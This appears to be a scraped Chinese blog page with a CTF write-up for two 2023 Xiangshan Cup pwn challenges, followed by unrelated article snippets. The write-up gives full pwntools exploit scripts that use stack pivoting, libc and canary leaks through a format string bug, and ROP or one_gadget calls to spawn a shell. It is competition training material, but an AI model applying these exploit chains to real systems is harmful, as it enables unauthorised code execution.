news 2026/4/18 7:47:10

2023香山杯CTF

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2023香山杯CTF

move

一眼栈溢出,然后三次栈迁移。

exp

from tools import* context(os='linux',arch='amd64',log_level='debug') p,e,libc=load("./pwn") pop_rdi=0x401353 ret=0x40101a bss=0x4050A0 leave_ret=0x40124b read=0x401230 pop_rbp=0x40119d payload=p64(pop_rbp)+p64(bss)+p64(read) p.recvuntil("lets travel again!\n") debug(p,0x40124B,0x4012D6) p.send(payload) p.recvuntil("Input your setp number") p.send('\x78\x56\x34\x12') payload=b"a"*0x26+b'bb'+p64(bss-8)*2+p64(leave_ret) p.send(payload) payload=p64(0x405070-8)+p64(pop_rdi)+p64(e.got['puts'])+p64(0x40125C )+p64(0x405070-8)+p64(read)+p64(0x405070)+p64(leave_ret) p.send(payload) libc_base=recv_libc()-0x80970 log_addr('libc_base') bin_sh=libc_base+0x1b3d88 system_addr=libc_base+0x4f420 payload=p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0xdeadbeef)*2+p64(0x405030)+p64(leave_ret) p.sendline(payload) p.interactive()

pwthon

漏洞比较简单,就是格式化字符串,栈溢出,难的是第一次见这种题型,不知道怎么本地运行的,泄露canary查找溢出偏移都是远程完成的,直到查找libc麻瓜了,必须本地调试

这个本地调试的方法有以下几个点

1、必须是python3.7

2、使用sys.path.append("/home/zikh/Desktop/app.cpython-37m-x86_64-linux-gnu.so")去导入他给的库

3、使用gdb调试他给的库,在用attach调试进程

结合本地和远程泄露的libc地址发现libc就是我本地的环境

exp

from tools import* context.log_level = "debug" p=process(["python3.7","main.py"]) # p=remote('123.56.9.101',16674) p.sendlineafter('> ','0') p.sendline(b'%p.'*(0x20)) p.recv() data=p.recv() canary=data[-22:-4] libc_base=data[-79:-65]# log_info(canary) log_info(libc_base) canary=int(canary,16) libc_base=int(libc_base,16)-0x10fcdd log_addr('canary') log_addr('libc_base') p.sendline(b'a'*264+p64(canary)*2+p64(libc_base+0x4f2a5))​ p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 7:01:13

AI for Science技术解析:从方法论到前沿应用的全视角洞察

目录 一、AI for Science:定义与科研范式革新(一)核心概念与技术定位(二)技术演进与关键里程碑 二、核心技术体系与方法论解析(一)基础算法框架与领域适配1. 深度学习模型家族2. 生成式 AI 与逆…

作者头像 李华
网站建设 2026/4/16 17:21:59

Pip install --user与virtualenv的区别

Pip install –user 与 virtualenv 的本质区别:从 AI 开发实践看 Python 依赖管理 在一台 GPU 服务器上,三位研究员同时跑着不同的深度学习实验——一个用 PyTorch 1.12 做图像分割,一个基于 PyTorch 2.0 实现新论文模型,另一个则…

作者头像 李华
网站建设 2026/4/16 15:35:51

‌测试架构师:构建质量体系的领航者

在快速迭代的软件开发世界中,质量保障(QA)不再是简单的缺陷检测,而是驱动业务成功的核心引擎。作为这一变革的领航者,测试架构师(Test Architect)正从幕后走向台前,肩负起构建高效质…

作者头像 李华
网站建设 2026/4/12 13:55:30

RAG检索总是搜不到?别卷Prompt了,手把手教你微调垂直模型!

这篇文章详细介绍了如何通过微调Embedding模型解决RAG系统搜索不准确问题。作者提出使用"硬负例"训练数据的创新方法,并提供完整技术实现方案,包括数据准备、模型训练和效果验证。实验证明,加入硬负例后,模型区分度从0.…

作者头像 李华
网站建设 2026/4/16 8:35:56

PyTorch社区活跃度分析:v2.7版本为何广受欢迎

PyTorch v2.7 为何成为开发者首选?从技术演进到容器化实践的深度观察 在AI模型越来越复杂、训练数据量呈指数级增长的今天,一个稳定高效且易于部署的开发环境,往往决定了项目能否快速从实验走向生产。而在这条通路上,PyTorch v2.7…

作者头像 李华